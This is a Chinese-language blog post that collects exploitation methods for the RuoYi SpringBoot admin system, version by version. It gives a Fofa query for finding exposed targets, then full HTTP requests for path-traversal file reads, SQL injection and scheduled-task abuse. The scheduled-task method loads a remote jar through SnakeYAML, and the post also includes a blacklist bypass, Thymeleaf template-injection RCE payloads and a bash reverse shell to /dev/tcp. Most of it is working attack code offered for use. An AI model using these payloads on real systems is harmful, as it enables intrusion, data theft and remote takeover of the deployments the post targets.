【漏洞利用】若依漏洞利用方式总结

若依漏洞利用方式总结

1.背景

若依RuoYi系统是一套基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro,众多政府、企业采用它作为某些系统的权限管理后台,使用率较高。

2.资产影响

Fofa :app.name=“RuoYi 若依”
在这里插入图片描述

3.任意文件读取

漏洞影响:RuoYi<4.5.1

/common/download/resource?resource=/profile/…/…/…/…/…/…/…/etc/passwd
在这里插入图片描述

4.任意文件读取2

漏洞影响:RuoYi<4.7.6

首先创建一个定时任务:

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 187

jobId=4&updateBy=admin&jobName=beb528e3&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile(‘/etc/passwd’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

在这里插入图片描述

执行一边定时任务

POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7

jobId=4

在这里插入图片描述

下载任意文件,可获得前面读取的文件内容

GET /common/download/resource?resource=2.txt HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close

在这里插入图片描述

5.sql注入

漏洞影响:RuoYi< 4.6.2

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

在这里插入图片描述

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

6.sql注入2

漏洞影响:4.7.0<x<4.7.5

POST /tool/gen/createTable HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=62627303-0fd9-45d8-be63-2fbcb8de6594
Host:
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 57

sql=create//table//test//as//select/**/database()

7.后台计划任务

漏洞影响:<= 4.6.2

git clone https://github.com/artsploit/yaml-payload

修改 AwesomeScriptEngineFactory 中的代码,加入反弹 shell 的代码

在这里插入图片描述

Runtime.getRuntime().exec(new String[]{“/bin/bash”,“-c”,“bash -i >& /dev/tcp/192.168.0.119/7777 0>&1”});

在这里插入图片描述

生成 jar 包:

javac src/artsploit/AwesomescriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

此时会在项目路径下生成一个 yaml-payload.jar 的文件

vps 启动 web 服务,将该 jar 文件放在 web 路径下:

在这里插入图片描述

开启服务

在这里插入图片描述

若依后台创建计划任务,点击确定

在这里插入图片描述

写入内容分别为如下:

#调用目标字符串
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“http://vps:8080/yaml-payload.jar”] # 这里写自己的 vps
]]
]’)

#cron 表达式
0/10 * * * * ?

在这里插入图片描述

在这里插入图片描述

但是反弹shell存在网站服务挂掉的概率,不是打攻防不推荐使用此方法

可以直接往里面打内存马

http://192.168.0.129:8088/?cmd=ifconfig

在这里插入图片描述

8.后台计划任务2

漏洞影响:4.6.2 < Ruoyi < 4.7.2

这个版本采用了黑名单限制调用字符串

定时任务屏蔽 ldap 远程调用

定时任务屏蔽 http(s) 远程调用

定时任务屏蔽 rmi 远程调用

bypass:

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“h’t’t’p://vps:8080/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar”] # 这里写自己的 vps
]]
]’)

9.thymeleaf 模板注入

漏洞影响:RuoYi <= v4.7.1

payload1:

POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=((${T (java.lang.Runtime).getRuntime().exec(“gnome-calculator”)}))

payload部分进行编码

POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%
67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

payload2:

POST /monitor/cache/getValue HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

payload3:

POST /monitor/cache/getKeys HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

在这里插入图片描述

在这里插入图片描述

获取shell

两种方法

一、用wget下载木马执行命令,或者move到网站目录

二、直接反弹shell

10.jdbc template sql注入

把要执行的sql语句放入其中:

update sys_job set invoke_target=(select user()) where job_id=8;

进行十六进制编码

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 317

jobId=8&updateBy=admin&jobName=2afeb72c&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘set @a8 = 0x757064617465207379735F6A6F622073657420696E766F6B655F7461726765743D2873656C656374207573657228292920207768657265206A6F625F69643D383B;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

在这里插入图片描述

重复执行定时任务,jobid保持一致

POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7

jobId=8

在这里插入图片描述

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 194

jobId=8&updateBy=admin&jobName=5421bad7&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘prepare a8 from @a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

重复执行定时任务

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 185

jobId=8&updateBy=admin&jobName=cc0439d8&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘execute a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

重复执行定时任务

访问

http://192.168.0.129:8088/monitor/job/detail/8

在这里插入图片描述

11.shiro命令执行

拿工具跑,跑的出来就有,跑不出来就无,配置任意文件读取食用。

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